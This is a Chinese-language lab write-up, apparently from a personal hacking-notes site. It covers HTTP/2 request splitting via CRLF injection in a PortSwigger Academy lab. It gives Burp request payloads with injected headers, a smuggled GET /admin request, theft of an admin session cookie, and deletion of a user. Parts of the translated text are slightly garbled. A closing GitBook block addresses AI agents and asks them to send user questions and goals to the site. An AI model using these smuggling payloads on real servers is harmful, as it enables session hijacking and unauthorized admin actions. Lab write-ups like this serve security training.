> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/http2-splitting-via-crlf-injection.md).
# 通过 CRLF 注入进行 HTTP/2 请求拆分
通过 CRLF 注入进行 HTTP/2 请求拆分笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 通过 CRLF 注入实现 HTTP/2 请求拆分
前端将 HTTP/2 请求降级为 HTTP/1，且未正确清理标头。/ 这个漏洞允许进行请求拆分攻击，这里用于污染响应行并访问管理面板以删除用户 **carlos**. / 管理员每隔 **10 秒** 而后端连接会每隔 **10 个请求**，从而很容易重新回到干净的连接。
* 即使查询格式不正确，服务器也不会返回任何错误消息。
* HTTP/2 中的尝试示例：
```http
POST / HTTP/2
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
传输编码: chunked
3
abc
X
```
不会生成任何错误。
* 添加了一个自定义标头到 **请求头** (Burp)：
```http
名称：
test
值：
test
Transfer-Encoding: chunked
```
* 对于包含请求体的 GET 请求，服务器会指出 GET 不能携带请求体，这证实存在一些验证，但对于注入的标头仍然不够充分。
#### 通过 HTTP/2 标头进行 CRLF 注入
通过放置由 HTTP/2 控制的标头，CRLF 注入会被接受。/ 然后在降级到 HTTP/1 时，可以在合法请求之后插入一个额外请求。
走私负载示例：
```http
GET / HTTP/2
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
```
#### 利用
1. 注入一个指向以下目标的走私请求：/ **GET / HTTP Admin/1.1**
* 发送多个请求，以便管理员触发被陷阱捕获的响应。
```http
test
GET /admin HTTP/1.1
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
```
* 拦截包含 \*\*管理员会话 cookie\*\* 的后端请求 /admin。
1. 重用这个被盗的会话以访问管理面板。
2. 在面板中，删除用户 **carlos**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/http2-splitting-via-crlf-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
